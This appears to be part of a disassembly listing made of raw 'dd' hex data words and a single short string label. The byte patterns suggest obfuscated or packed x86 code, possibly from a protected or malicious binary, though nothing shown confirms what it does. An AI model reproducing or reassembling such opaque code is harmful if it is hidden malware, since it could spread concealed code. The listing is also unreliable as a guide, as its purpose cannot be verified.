		dd 0EB800A6Eh, 81CA8B0Bh, 0FCE159EEh, 0DE94Eh, 0C4450000h
		dd 3CBE553Dh, 4C15DAB1h, 8A4B70ACh, 8E9F0h, 0B7E30000h
		dd 0EA73F4C9h, 0FE9E469h, 9C000000h, 0F98B7A48h, 7DCDF413h
		dd 677612DDh, 58504660h, 17800Fh, 12E90000h, 79000000h
		dd 0C5035A3Ch, 7DCAE7Fh, 9DE6541Ch, 1CADE154h, 7E9FAh
		dd 46580000h, 0E20C1C1Fh, 0EA81665Fh, 0BF0F04BCh, 56AABACFh
		dd 5E96FD6h, 59000000h,	88130D54h, 57CB8BF5h, 0AEE8166h
		dd 0BE605AB4h, 5CBC17FAh, 5ACF8060h, 61615A51h,	3926CF81h
		dd 8B0F3A05h, 2, 0BF0F36B1h, 0E9F38AD1h, 6, 7B8BC36h, 8160B028h
		dd 0F7916BEFh, 0ACB1610Ch, 0E9FA8B66h, 0Eh, 3F9A28E1h
		dd 20F059F4h, 2398544Eh, 0CE8DFCFh, 6A000000h, 9E47AF76h
		dd 0ED479472h, 0E945414Ah, 0Ch,	73FEFD82h, 0F83DB9D4h
		dd 838359B9h, 29B8665Bh, 0DB8166C6h, 81666F86h,	8BFE1CE6h
		dd 6860FFEh, 0F000000h,	8Fh, 0CF8B6600h, 9E5491B8h, 0F0BA6657h
		dd 81DF8BA2h, 2954AED2h, 0AFBB6664h, 6E90Bh, 30DC0000h
		dd 0DB26B1F0h, 0BE9h, 266DC200h, 436AF20Fh, 92A26EB2h
		dd 52D98B66h, 605FF18Bh, 0CA6CEA81h, 0BB661B6Dh, 66618D6Bh
		dd 0DE8DE8Bh, 30000000h, 0BC0CD60Ch, 0BFD0E3AEh, 0E380FE38h
		dd 0E059BE66h, 0DB816658h, 0FA8A2D25h, 11E9h, 60830800h
		dd 9824D082h, 8EFCD3D3h, 505B4917h, 0FC600634h,	10E9h
		dd 0A41BC400h, 2D2A9D74h, 0BB080465h, 49AD3C7Ah, 0B70F6151h
		dd 0FE8F8h, 3E580000h, 0CD72A17Ah, 3250C9BBh, 895DB57Fh
		dd 5820F9Ah, 66000000h,	0EC1DF181h, 11E95Eh, 7A9C0000h
		dd 0C7C3EE77h, 2631C300h, 0F9E9775Bh, 80C902D1h, 5E8DBE5h
		dd 29000000h, 9278727Ah, 0AE950h, 0CA980000h, 9E2703DCh
		dd 0B03D4152h, 0DB815E59h, 780B8A05h, 0D15933BFh, 12E828h
		dd 945B0000h, 0E8E277CEh, 379CACFh, 0AC0A2EB2h,	953D8496h
		dd 13E85Eh, 55C70000h, 5D7291D0h, 0F0BBCE90h, 42BD41D2h
		dd 4C6E54E4h, 8A5AF55Fh, 12EF81E8h, 0F95BBAC0h,	5FE562B9h
		dd 0FB8B664Eh, 28890Fh,	0E9600000h, 9, 0EE7AFDE6h, 0AD656C48h
		dd 12E898h, 0F9E40000h,	0BC9CEE46h, 5662A25Eh, 0FCCA38BBh
		dd 0ED296DD7h, 0EAB5615Ah, 66F7BF0Fh, 8166F98Bh, 66C8C5D3h
		dd 0C315C781h, 4840Fh, 0B9660000h, 8B669A05h, 14E9DEh
		dd 85250000h, 4E7B358h,	0CBFC3E02h, 23281070h, 0BD0E609Fh
		dd 8B574DF9h, 6E958CBh,	92000000h, 86AF4F71h, 12E853h
		dd 51350000h, 9496BC94h, 0F64BD5Bh, 0EEF72340h,	82819643h
		dd 0DCB4D681h, 66587C2Fh, 808FA7BFh, 0F8B127C3h, 0FF38B66h
		dd 680h, 860F00h, 57000000h, 4CDB8166h,	1FBE5AE9h, 0F29C620h
		dd 18Ch, 880FF800h, 7, 0C8816650h, 66586E4Fh, 0F3926B8h
		dd 56BFFAB7h, 66289EDCh, 0B370E9B9h, 8166F892h,	0E8BAEADBh
		dd 6, 98B052E7h, 5FF8658Fh, 8B66E58Ah, 0DE8B66C7h, 5E536060h
		dd 7E8h, 60C2AB00h, 0B54B3E0Bh,	0F1816158h, 3B7A4A38h
		dd 0AE961h, 0E08A0000h,	53A1B12h, 0AA157076h, 0B9CABF0Fh
		dd 41537B86h, 0D3C2D981h, 66511FC2h, 3C21EF81h,	4AEF805Bh
		dd 15D28166h, 0CE9E1h, 464C0000h, 940CCE1Bh, 6AB99BC9h
		dd 87BB01D8h, 812B6C53h, 9FBFBFCFh, 6660F827h, 8B66F18Bh
		dd 14E961C8h, 0A000000h, 7B884B33h, 0A8D13F5Dh,	5A47FB3Ch
		dd 9E84391Ch, 0E8BB2611h, 9, 0BDFE9F41h, 0BAE847E9h, 0E4805B02h
		dd 3880F6Eh, 80000000h,	0B70F6BC0h, 0EE8DEh, 0AA6B0000h
		dd 0A0CF9E3Ah, 85AD4039h, 0DA135710h, 0F1B70F58h, 12E86060h
		dd 95000000h, 1F592D16h, 5A5FACC9h, 287C6E44h, 0A8541EEFh
		dd 81665AE9h, 61CD9DD8h, 870F61F8h, 7, 0DF816651h, 0F5AE5D4h
		dd 6660D3BFh, 0F6E2E681h, 4673B966h, 3EE98161h,	8B4DD7AEh
		dd 66D88BF8h, 5C60D781h, 0C4CE8166h, 0F1BF0F48h, 14E9E28Ah
		dd 72000000h, 2196A35Bh, 0AAA0CAA4h, 0BEAB4E81h, 8FA84A3Ah
		dd 510655F5h, 0F5FFB8Bh, 1F89h,	19880F00h, 0E8000000h
		dd 13h,	215FD9FBh, 0C5503293h, 0D77B8AAEh, 63AB7962h, 58570609h
		dd 95CFBB66h, 0D9B4C88Bh, 0F5B2FE8Ah, 9A7F18B8h, 58E0F10h
		dd 0BF000000h, 45E08F23h, 0F9CBB70Fh, 0D08B66F9h, 6E8h
		dd 0AD9D4900h, 0F0BA900h, 1482h, 0FE900h, 40860000h, 0FE2A5430h
		dd 0F1664E82h, 23F479A5h, 0EE805B8Bh, 0FE86018h, 0EF000000h
		dd 32A35720h, 3A352C40h, 9D4A319Fh, 0AE9DF10h, 0D4000000h
		dd 6095FFFBh, 87B272E4h, 0BE85E70h, 3E000000h, 0B4A0F488h
		dd 15E0DE1h, 81661568h,	58AF5CC6h, 81D18061h, 0D1816657h
		dd 665A3E22h, 0B504E781h, 5E9F98Bh, 41000000h, 24E45293h
		dd 8BF1B70Fh, 3147BAF1h, 0BE81D8Dh, 0CF000000h,	20B69C08h
		dd 1728D4D4h, 0E1B13F73h, 0F081665Ah, 60527512h, 0DE8h
		dd 8DCD0400h, 0F57B20A3h, 9DFABD69h, 0E85A0880h, 11h, 0D6A4AD79h
		dd 21C272D4h, 0E04E3418h, 0C074CB6h, 5F615B9Fh,	0BF6660F9h
		dd 0B1611CCAh, 9E94Ch, 0BC90000h, 35E21251h, 80195690h
		dd 870F71EEh, 5, 1BE88166h, 5DDF816Bh, 6622F3CFh, 8C0FDE8Bh
		dd 2, 8B66FE8Bh, 3AB966F7h, 0B70FF523h,	0D6BF0FC0h, 0B890Fh
		dd 880F0000h, 5, 5EBCDCBBh, 0E9B96627h,	0AE9B0h, 3E570000h
		dd 0EB1DFEFFh, 0B144830Ch, 0F60A2B4h, 18Eh, 6661FC00h
		dd 6666ECBBh, 0F40D2BBh, 180h, 0D380F800h, 0C8F0FFBh, 0E9000000h
		dd 7, 0C85E22ABh, 0E903E40Fh, 0Fh, 0FADD264h, 0E08A65F3h
		dd 53A1B12h, 60157076h,	0FE8h, 9A2CCF00h, 0B999442Bh, 0BB64E988h
		dd 6687C846h, 665A6160h, 61F051B9h, 0E998B966h,	80D1BF0Fh
		dd 6660DAF5h, 0F02E881h, 0F9616060h, 7E86161h, 3A000000h
		dd 0ADB7D736h, 0BE66A762h, 0F5F1417h, 581h, 0B44ABA00h
		dd 0D081134Eh, 7E3F7502h, 0DE8h, 2AED2700h, 1CCAD85Dh
		dd 0BB2973C9h, 0DA811495h, 4490E141h, 80E4805Eh, 8B665A53h
		dd 0B30DBBDEh, 0EA802592h, 0F90B6D5h, 0F56D6BFh, 8Fh, 5E95800h
		dd 0A8000000h, 4E382E5h, 9FBFC281h, 6660681Ah, 8166C28Bh
		dd 61C5F6C3h, 0FCF8B66h, 0FABFC6B7h, 5302F602h,	0E281665Eh
		dd 6E9DEFCh, 1C000000h,	3222778Eh, 108A0F29h, 60000000h
		dd 6E8CE8Bh, 5E000000h,	90FF107Dh, 0BA6159B0h, 4563133Bh
		dd 810FCF8Bh, 0Fh, 0AE9h, 0DA9BD400h, 0BA518347h, 66B06021h
		dd 0D2D2E881h, 0FDBBF0Fh, 886h,	820F5300h, 0
		dd 8F74B958h, 0B86642C3h, 0AE903F4h, 1E000000h,	274B6002h
		dd 587A4F16h, 0EB34B83Eh, 0E851450Bh, 10h, 6CB88BDBh, 0E7CC4CB5h
		dd 0B4C17817h, 0CDDF3750h, 540DB3BBh, 0F5B5F3Eh, 0AE9F7BFh
		dd 0D9000000h, 3E9B78E1h, 39E81CDBh, 20B457B8h,	0BB66605Ah
		dd 8C0FFF59h, 0
aAFb6ps		db 'af6',8,0
		align 4
		dd 7E0AF000h, 32062AACh, 9FBA6685h, 0BA666Fh, 0C3C38136h
		dd 5232EA4Eh, 8A0F53h, 59000000h, 0C3BF0F58h, 345CD4BBh
		dd 66CB8B32h, 9C81D981h, 0EFE6F381h, 8B665329h,	87BB66CBh
		dd 0B5C7805Bh, 1870Fh, 0E9F90000h, 5, 58EFB22Ah, 0F1BF0F1Dh
		dd 13E9h, 0CF39A900h, 0DA85EF15h, 89F61E81h, 0F79D9B6Dh
		dd 0D62EC638h, 5E9h, 75300700h,	8B6611CFh, 0DE9D7h, 0CB190000h
		dd 19787F3Fh, 6E8FBB1Bh, 0E9A92155h, 9,	2B1928B6h, 18ACB4BDh
		dd 0B1C0B3D9h, 6820F4Ah, 81000000h, 7ADFE8D8h, 8B665642h
		dd 14E859DAh, 88000000h, 5E19D58Fh, 45DB8D75h, 3B962D15h
		dd 1B90704Bh, 8B1A15A0h, 0EEBB58D1h, 0F9645056h, 8E9h
		dd 0CD298D00h, 0CD3D6C60h, 0B70F50ACh, 0CB8B5BD8h, 0D78BF960h
		dd 0D6816661h, 0BB669F23h, 0B70FC0C4h, 0B9BA52F8h, 583196D3h
		dd 0CE9h, 0AA1DB700h, 0B24AC47Ch, 63C294CFh, 870F6096h
		dd 5, 49C68166h, 28D0F84h, 8B000000h, 0D38061F7h, 10E9F2h
		dd 7D8C0000h, 4CF82A46h, 0E82B4E01h, 0AC69E27Eh, 0D1811CFFh
		dd 3C801587h, 0DE9CF8Bh, 8C000000h, 1AB9EB98h, 6A794347h
		dd 0C8173718h, 0FD68B66h, 38Fh,	61F56000h, 0FCEBF0Fh, 6E9D9BFh
		dd 52000000h, 0DE8DF63Ah, 0CE9D7h, 48120000h, 0D9C2FA00h
		dd 1E2319B0h, 0D881BEA0h, 1CC6B3F7h, 8A0FCB8Ah,	2Ah, 13E8h
		dd 0B2789200h, 4DECBE05h, 0E8D7D154h, 7902A16Ah, 7987210Bh
		dd 0CE9h, 0B193EE00h, 2F74AEC7h, 23E97164h, 0BF0F592Eh
		dd 58B0FC3h, 0BA000000h, 4B8849D5h, 18CB8166h, 12E985h
		dd 0A6410000h, 410E5CD9h, 32DD5D21h, 433CD04Ah,	67B3D85Ch
		dd 178F0Fh, 860F0000h, 11h, 0BE8h, 0F5ECC600h, 0BF2F5534h
		dd 32A40981h, 0C081F859h, 30EBB8F3h, 830FE68Ah,	8, 8D0F50h
		dd 5B000000h, 11E9h, 0AF2EF00h,	2B5B7A78h, 391B67A7h, 0F9ABBF39h
		dd 27B8AFF3h, 66456B54h, 0F2AE7BEh, 0AE9C6B7h, 0F1000000h
		dd 2324692Ah, 0E4105CFBh, 8B5A57E2h, 77CA81CEh,	8B007B5Bh
		dd 0E88A60CBh, 0BE951h,	0DA300000h, 8D0C9DCEh, 78CC2F8Ch
		dd 0B0615F5Ch, 535F56F3h, 0AD6B90B8h, 0EF805B52h, 5E828h
		dd 81C30000h, 664F0725h, 91F9E981h, 0DF81665Eh,	10E9DA90h
		dd 0CF000000h, 42F5EA27h, 0D173F1ECh, 0F78B0874h, 0E95A5866h
		dd 11h,	0A07B4D3Dh, 0B8BBD635h,	3FB2DABCh, 0F28A5F9Ch
		dd 22BF6697h, 0B730B824h, 0F18B0959h, 4DC6B866h, 0CE9h
		dd 2041FF00h, 7834F269h, 15F750F4h, 9FC680E7h, 0FCF8B66h
		dd 48Fh, 0B7B86600h, 2850F24h, 8B000000h, 98A0FD7h, 60000000h
		dd 830FF5h, 61000000h, 11E8h, 0C9C20A00h, 9D352129h, 52D4A61h
		dd 0F67C1CAFh, 4AB06F6Fh, 10E95Fh, 5F40000h, 0D7EAF940h
		dd 3644E27Bh, 0C4A54AE9h, 8F0F291Dh, 1Dh, 0AE8h, 8B5B1A00h
		dd 0B872BA38h, 0E9B1546Dh, 8, 0B6479B5h, 413BB4E2h, 0AED88058h
		dd 28D0F56h, 60000000h,	0F605961h, 9ABFC7B7h, 6112FB84h
		dd 0FF8E4B6h, 8B66F0BFh, 13E8CFh, 60A50000h, 0A237BD94h
		dd 9C39C401h, 0F25B83F1h, 550DAEDEh, 0CA8B664Eh, 48C0F58h
		dd 66000000h, 8BE52AB8h, 0BE9F2h, 72260000h, 8839180Ch
		dd 8C00AA69h, 0CA8BF950h, 0D039B860h, 0BF665705h, 0E86178BEh
		dd 11h,	0E6D7A72h, 0EAD44EA0h, 0CD1565A4h, 1B767E14h, 58F8501Eh
		dd 0E9E88A59h, 0Bh, 63DA751h, 52E92E43h, 0FD78072h, 1589h
		dd 10E900h, 0E30C0000h,	65E78AEh, 1CB0162Eh, 1D7D8DAFh
		dd 0E381F0E8h, 41F3E932h, 53F18166h, 5E929h, 179F0000h
		dd 0FC21660h, 0EE8D7B7h, 0B2000000h, 0A72CEA8Ch, 4588E52Eh
		dd 23CF1764h, 8E834h, 10B30000h, 0BA59B95h, 595A3ACDh
		dd 66DF8BF9h, 0F179C381h, 9E5227B8h, 2880F1Dh, 8B000000h
		dd 0D7E181D6h, 0F641363h, 58Ch,	548BB900h, 0F96000FCh
		dd 61D2BF0Fh, 13E8h, 27A5900h, 0DDD3C224h, 122A0018h, 0E55827EDh
		dd 84A84972h, 7D26BE57h, 5E594E44h, 15D78166h, 11E855h
		dd 0BEE30000h, 0A78A82A2h, 0EBC3322Ch, 58D5CC7Ah, 8B090F23h
		dd 0E68A59DEh, 0E850DE8Bh, 5, 0C39D4F3h, 586AB669h, 0D2BF0F59h
		dd 10BEFA8Bh, 0BF028625h, 189A9D39h, 0E889C080h, 14h, 7F3B5A04h
		dd 7B6ADA04h, 0F015D6F7h, 0F25F14ACh, 0B239C21Ah, 0BF0FFC5Fh
		dd 0F4BE66D7h, 80F18B27h, 840F9FF6h, 5,	0F8D88166h, 0FEF381C0h
		dd 0B805FA8Fh, 9E51D3Ch, 18D0Fh, 0E8F80000h, 0Bh, 770A5B3Bh
		dd 0C1DA45FEh, 0B83D0D86h, 79592ECDh, 10E959h, 0ACD10000h
		dd 4BDDAC07h, 68618B02h, 0D1A0F775h, 0B70F0E8Bh, 5830FF8h
		dd 0BE000000h, 6B2E8D98h, 0BECEBF0Fh, 3EDE54F5h, 0EAC981FCh
		dd 663D2E10h, 697DC681h, 0C7B960F9h, 560E55D0h,	6D7ADB81h
		dd 615B6AB5h, 0CB8B6651h, 0EB816659h, 880F39DBh, 13h, 0CE952h
		dd 0DECD0000h, 362EE697h, 3B114D23h, 815A24CCh,	3F5BC9E3h
		dd 0F08B6642h, 9A5FDB81h, 0BB664864h, 32B077BFh, 0F5BF951h
		dd 138Dh, 0EE900h, 0B2FB0000h, 0D11C7296h, 0C2B28F4Fh
		dd 0C9EAD3E1h, 799189BAh, 0C6BF0F36h, 0D7816652h, 0F85EBAFCh
		dd 6DB3D981h, 0E28A4E11h, 8153E28Ah, 0B51440C8h, 7E85977h
		dd 0E2000000h, 867EA415h, 0B70F007Ch, 0BBF958D2h, 1AC3FD0Fh
		dd 14E9h, 69F6BE00h, 2233D378h,	7E137B56h, 0B10B69FBh
		dd 5C9FEF4Fh, 128B0F14h, 0F000000h, 0C83h, 7E900h, 294B0000h
		dd 0ED2D6203h, 890F5268h, 14h, 0EE8h, 31514800h, 23C44364h
		dd 0B11C525Bh, 5AFE81BAh, 5E95Ah, 0F4D40000h, 600BB31Ch
		dd 8E9h, 76166C00h, 17F5E43h, 0D8E280BFh, 7E961h, 70350000h
		dd 0D0B85F5Ah, 0E78166FAh, 0C781AC07h, 3AB0C708h, 0E8F0FFCh
		dd 0E9000000h, 9, 3B2ADB5Ch, 5A1B72AFh,	108D0F88h, 0E8000000h
		dd 8, 6FE68618h, 6EF0E75Fh, 0BF5A5A52h,	7463C3B3h, 0FD3BF0Fh
		dd 0DE8C7BFh, 0A2000000h, 7F8D51ECh, 0E6BEBFA6h, 0E2281957h
		dd 7CBA6658h, 0D5CE81EAh, 666F94EEh, 814DFEB8h,	47A32AC3h
		dd 81D98B09h, 0BA2C4EAh, 0C38B663Dh, 8DAEB857h,	0B1593B7Ch
		dd 0DE8166E6h, 0BB667869h, 0DE821ADh, 3B000000h, 550573E5h
		dd 0D4173396h, 1DDE930Dh, 7AD6D981h, 0B75A0ACCh, 3880FCFh
		dd 66000000h, 810FD98Bh, 0Dh, 8E9h, 0B7E69E00h,	4C287372h
		dd 0EE2ABFD1h, 8B0F5468h, 1, 8166F8F5h,	66E5D1D1h, 6681DAB9h
		dd 0F63AAB8h, 38Eh, 5EF95700h, 60C18B66h, 0BE66DE8Bh, 0F56143FAh
		dd 80FCD68Bh, 0B1F94DDCh, 0F18B6661h, 0E9D38B66h, 0Bh
		dd 805087D2h, 64434405h, 0F0A7005h, 0F780CAB7h,	0C381661Ch
		dd 816697F1h, 0E90403DEh, 14h, 0F3ED26EBh, 0D14BBAC3h
		dd 0EC9CFE1Ch, 50DD1B8Bh, 8FD05366h, 6E9h, 0D6FC3B00h
		dd 6013D8BCh, 7316F281h, 0DF813D9Bh, 6EC180A5h,	14E961h
		dd 439D0000h, 0C7487FCFh, 0E4B8D3CFh, 12FE3A0Ah, 1F055D19h
		dd 0FC5013C5h, 0C781665Eh, 0B7FCF133h, 7E876h, 3DB80000h
		dd 1C9553A1h, 5BF08A82h, 0E5F78166h, 0EBBE6689h, 0CEBF0F32h
		dd 0FF32B966h, 13E8h, 57A11900h
		dd 50F8EEAAh, 6C70374Bh, 0CBDAC72Dh, 38333106h,	3810Fh
		dd 0DA800000h, 0B70F5AC6h, 0DE8F9h, 0BDA80000h,	96F7BB63h
		dd 7C550BADh, 0F4DEEF9h, 283h, 5A5F5300h, 11E8h, 5534F500h
		dd 981BF2Fh, 856B32A4h,	5F48674Eh, 0B8668386h, 0E85EC7A6h
		dd 0Bh,	13AA1ACAh, 733905BFh, 5BA61C19h, 58A0Fh, 0C6BB0000h
		dd 0F300FFCh, 38Ah, 0DABF0F00h,	45BE6660h, 38BA6624h, 0CB8B61F8h
		dd 9E8h, 2DCF4100h, 0C6DD09F8h,	0F602FB9h, 85h,	0DF8B6600h
		dd 76BE5E61h, 66057141h, 8B66FE8Bh, 0C58A60F3h,	3870Fh
		dd 8B660000h, 816661C3h, 665537EBh, 820FCE8Bh, 0
		dd 0DA815A56h, 17E438CFh, 13E9h, 0E2548800h, 21751A97h
		dd 7AB3FD49h, 2F0D38C4h, 2F8B40E7h, 0DA8ADEB5h,	9ECA8166h
		dd 880F526Dh, 6, 820Fh,	0BB590000h, 37DE1EA8h, 0BF66CB8Bh
		dd 850F962Eh, 8, 2830Fh, 2CB00000h, 6E9h, 0C3D84C00h, 8B91A609h
		dd 0BE960D0h, 56000000h, 85F28067h, 4066AF2Fh, 0E9512350h
		dd 13h,	3AFCFF4Ch, 0CCA95BF0h, 9DB51B2h, 8A0CC40Eh, 589F2E81h
		dd 0B70F6061h, 6E9C0h, 86370000h, 1EDA602Bh, 0E9C88B61h
		dd 0Eh,	0BEC9319Ch, 22EF5C48h, 0DCFF6CFAh, 8F0FD826h, 2
		dd 810FF88Ah, 16h, 11E9h, 9DF54700h, 9B7EB3A1h,	146F55F4h
		dd 73535750h, 8166AB9Bh, 0E930F5DAh, 0Ch, 5B302DB7h, 135865E9h
		dd 195FC125h, 880FE58Ah, 4, 0DFDFBA66h,	0AE9h, 0F9347900h
		dd 7B893C76h, 6033F1ACh, 850FD68Bh, 0Dh, 8E9h, 52D36900h
		dd 0EA069224h, 25B261EEh, 0F29CE2BBh, 53ECB85Bh, 5E87D96h
		dd 0E0000000h, 4C6FDDE8h, 5F7FCB80h, 5810Fh, 5BBA0000h
		dd 6620D97Bh, 0FBDECBEh, 0F8Bh,	0AE900h, 56930000h, 9895E7AAh
		dd 0AF677B7Ah, 13E960h,	0D8A60000h, 5A00E84Dh, 3816E60Fh
		dd 0DF1DE1Fh, 0BA4119EEh, 2860F31h, 60000000h, 0FE96161h
		dd 0A0000000h, 0E0B00ABAh, 905FC2F8h, 85FD1350h, 8A520D20h
		dd 0F5605AE2h, 61F4F380h, 0AE8h, 0C5AF2400h, 0D0754363h
		dd 5032BD71h, 585958B7h, 0FE8BF960h, 830F61h, 57000000h
		dd 5EF6B70Fh, 2FB7A1B6h, 5AD38166h, 5E9F858h, 0B3000000h
		dd 47A3DAAFh, 5872BA66h, 5760DE8Bh, 0F58FA8Bh, 18Ch, 0E961FC00h
		dd 10h,	0E3EE57C5h, 0A24A5490h,	0E3AACAD6h, 4421366Ch
		dd 5870Fh, 41B90000h, 816B58E6h, 4709F8D7h, 0F181FC25h
		dd 45296B95h, 58D0Fh, 81660000h, 8B269FF6h, 12E9DAh, 47F40000h
		dd 0D59B258Dh, 32E7C19Dh, 4C3994BCh, 0B08F410h,	58B0Fh
		dd 0BA0000h, 662918F0h,	6C76D681h, 8BC0B70Fh, 816651DAh
		dd 5E11D5E6h, 0E7E7A2B8h, 0D2B8667Dh, 0F525669h, 8Ch, 60595F00h
		dd 0B3FAB70Fh, 66F861FFh, 66D8CFB8h, 11E9FE8Bh,	8C000000h
		dd 5352B0ACh, 0A1B4E01Ch, 0BBC41B24h, 9FD30466h, 0F84C180h
		dd 889h, 28D0F00h, 57000000h, 5E95Fh, 3CE90000h, 8AB0C5AAh
		dd 0BA6650D4h, 605ECF61h, 11E9FC60h, 23000000h,	5A4ADC03h
		dd 0B5A67541h, 51FFD74Eh, 635000BEh, 0BE961h, 43180000h
		dd 0E9CDA898h, 74081777h, 820F6111h, 5,	0BD3990B8h, 0F1CE8104h
		dd 8B71B27Bh, 2810FC1h,	0B2000000h, 5EF850E6h, 880FDE8Bh
		dd 12h,	0DE9h, 4B730300h, 2B484348h, 0BF522412h, 1EBE528Ah
		dd 662F5609h, 0DEC5DB81h, 6E9h,	0DD2CA800h, 0F8E753CBh
		dd 0CE957h, 0CF160000h,	68964828h, 67495B50h, 81581A1Dh
		dd 0D81023D0h, 5E942h, 0C52C0000h, 66303502h, 78DBF081h
		dd 0E9CB8B66h, 5, 0FBEEFFAEh, 0DF816679h, 0F508A0Ch, 281h
		dd 5F5F5600h, 8B6652F9h, 0F505AD6h, 386h, 0EDC08000h, 0DE859h
		dd 6C4F0000h, 0F6829602h, 697FB625h, 8AB1FD67h,	0AFB859E2h
		dd 66783AEEh, 6E8D88Bh,	64000000h, 0A91906E3h, 5BC68B22h
		dd 14E9h, 59436700h, 10C311A5h,	31F88585h, 90CC474Dh, 0AAC28527h
		dd 35CB812Bh, 0E9553C61h, 6, 54A8B9F9h,	0AE85542h, 3A000000h
		dd 0F666CD7Fh, 83468421h, 1FBE6646h, 0F6815BCEh, 2C3F8B38h
		dd 0B30737BAh, 9810F04h, 0F000000h, 384h, 15ED8000h, 8B66C78Bh
		dd 8B6650F3h, 0BF0F5FCEh, 0E9DE8BD8h, 0Ch, 0EBD57178h
		dd 32A5F084h, 4570C662h, 0BA666060h, 0C580D11Bh, 8E96127h
		dd 50000000h, 0FAE62BCCh, 61302468h, 0AE9h, 2181A700h
		dd 0AD6F641Dh, 0F66DFCAh, 188Dh, 12E800h, 0EA1C0000h, 0F3A9189Ch
		dd 0BCE79B5Fh, 0D788C7FBh, 20C42209h, 0F88B665Bh, 29BE6650h
		dd 10E95FF2h, 0DA000000h, 149FF7h, 551DD8D6h, 9BE2309Eh
		dd 0E9A65E18h, 0Ch, 0A45EE647h,	285BC109h, 52204444h, 0F9D18B66h
		dd 0FC0B70Fh, 28Ch, 8B20B100h, 0E7C681FAh, 524B92AEh, 2840Fh
		dd 0E8B10000h, 0B1E8815Ah, 8102B890h, 86CAA7DEh, 0C6BF0F3Dh
		dd 0D2BF0F60h, 68D0Fh, 830F0000h, 0
		dd 8BC18A61h, 0D081F5F0h, 55D066D0h, 2B5E1EBFh,	1EE4803Fh
		dd 38B2F081h, 0C68B0A8Ch, 14E96060h, 97000000h,	63BB2F91h
		dd 9F3C2C19h, 0E62F86C3h, 0BBEFEB36h, 615E8023h, 605061F5h
		dd 0E9C3BF0Fh, 5, 0E6052AE5h, 0F5F616Ch, 889h, 890F5300h
		dd 0
		dd 6E959h, 43430000h, 9FB1BB15h, 66D68B66h, 0A85BD381h
		dd 0F5C3B70Fh, 4945DA81h, 11E9733Fh, 1D000000h,	1D0BD591h
		dd 24502B96h, 5BA0A118h, 0CFF8C3F9h, 0FC60DE8Bh, 13E9h
		dd 0D5259F00h, 7492F2C7h, 0CA1A6A73h, 0FF8928C6h, 1F85A213h
		dd 14E96061h, 0B4000000h, 28F816A6h, 2FEAE15Bh,	43E0213Ah
		dd 0CC694260h, 0F9B79F2h, 82h, 52516100h, 5E5B5956h, 0DF8B9BB3h
		dd 0EE8h, 9DFABD00h, 0C1470880h, 0EE1D53E9h, 0FFD4069h
		dd 0B85ADBB7h, 2D18999Ah, 94679ABEh, 7E842h, 43E10000h
		dd 0AE7559F3h, 595353BAh, 0DB80595Bh, 0EE99Bh, 8600000h
		dd 6F27BAA7h, 0EAD87DD6h, 9ADE86C0h, 66CF8B66h,	0E860F38Bh
		dd 0Eh,	0BFA1F12Ah, 0D3D15803h,	61978FDAh, 0EB80623Ch
		dd 0FC605B11h, 0AE8h, 9B945600h, 81AA09Ah, 5F4DCF61h, 13E96161h
		dd 0D2000000h, 3E8F0B6Fh, 0D63867h, 0E6EEB078h,	0E0171F47h
		dd 0BF0F86D9h, 4DBF60DAh, 0F1BE919h, 8Bh, 8E96100h, 81000000h
		dd 3671BBD5h, 0F813751Ch, 0C4FEBF66h, 0CCC18166h, 0C881667Ch
		dd 8D0F6E5Dh, 2, 0D980F38Ah, 0CBBF0F15h, 5800Fh, 81660000h
		dd 0F8083DEAh, 5870Fh, 14BE0000h, 0F31C57Fh, 8166F3B7h
		dd 667F90F7h, 81295BBFh, 0F044A6E0h, 874FBF12h,	0BE600743h
		dd 66A4ED30h, 68C0Fh, 8A0F0000h, 0
		dd 69F9BA61h, 13E911CBh, 0C0000000h, 0C0F9464Ah, 890D1A3Fh
		dd 8A8A07EAh, 5A73E43Fh, 0C3BF0970h, 0F554593Dh, 0DE953h
		dd 75710000h, 19FC3456h, 0DDA27B97h, 5E126B11h,	0B0F5DE81h
		dd 8D0F25A0h, 0Ch, 6810Fh, 0D6810000h, 49B4BE9Fh, 7816F0BBh
		dd 0CBEFBB5Bh, 0EF812D69h, 70E382B6h, 66CF8B66h, 8B66CB8Bh
		dd 6E9CFh, 12660000h, 0DC919211h, 6E9h,	0BDD9F900h, 66AA246Ah
		dd 80C9D6B9h, 0F78BA4E3h, 0EE8h, 1603FD00h, 0FB8B0C73h
		dd 0C246E524h, 0F3FBFADh, 6658C3BFh, 0F938EBEh,	68Ah, 80E38100h
		dd 5270CFA4h, 6E8h, 0E6304200h,	0E9870FE1h, 8, 396AD008h
		dd 0FB8D954Ah, 0E8605959h, 14h,	52800720h, 0D5784BC3h
		dd 7F1994DCh, 0FE9B3852h, 72D65A81h, 615FC4B3h,	0A5EF81F8h
		dd 662FF982h, 66989FBEh, 8FC5E181h, 17850Fh, 0CE80000h
		dd 0C000000h, 7B6012EFh, 1D77BF35h, 66A5D3EAh, 2413C081h
		dd 15F68159h, 80560594h, 8F0F4DC6h, 4, 61D78A60h, 0E9FAB70Fh
		dd 0Eh,	212FD7FEh, 0D260B343h, 0AE947B51h, 0BF0F5EABh
		dd 0F5A50D2h, 588h, 0F0816600h,	890F8CD6h, 0
		dd 14E8h, 0FF93BC00h, 849B6E3Dh, 12DBA4A0h, 9D05EBB4h
		dd 4F3929B1h, 0FDDE8067h, 5E859h, 98D60000h, 80706C05h
		dd 0F58DBEFh, 584h, 0D7816600h,	13E8DF7Ah, 0A5000000h
		dd 11304330h, 0CE46D920h, 0EF295F51h, 0F99E5CC9h, 0DE8B94A8h
		dd 0CB74BE5Bh, 0CE923EAh, 0BA000000h, 7DD66F27h, 86C0EAD8h
		dd 0F959ADEh, 8166D0BFh, 0F825D8D0h, 0CE9h, 73DC5A00h
		dd 0D4CFF2D2h, 31936EA5h, 0E6816696h, 0DE9C02Eh, 92000000h
		dd 64EF0EA2h, 0C8790131h, 28B634C0h, 0EE9h, 3361C400h
		dd 0F4C4B6E8h, 92EEE48Ch, 0BBFACF18h, 3919A640h, 7CA81FCh
		dd 0E935A9A0h, 14h, 0AF3DE51h, 0EFF72AFFh, 8B17B017h, 419464A4h
		dd 0CB95C06Fh, 5930B056h, 746ABF66h, 0AE9h, 1FE0ED00h
		dd 96CACA76h, 0E825B8FAh, 6, 17BB43E9h,	816674ECh, 5E8AE3DFh
		dd 0A6D88166h, 0C68166E6h, 12E901E7h, 0F9000000h, 95B9BCEDh
		dd 483605FAh, 0BA346444h, 5AE966B6h, 8ED8812Eh,	0F8419422h
		dd 6012C680h, 61F5D78Bh, 67C7BF66h, 0E02AEDB8h,	13E831h
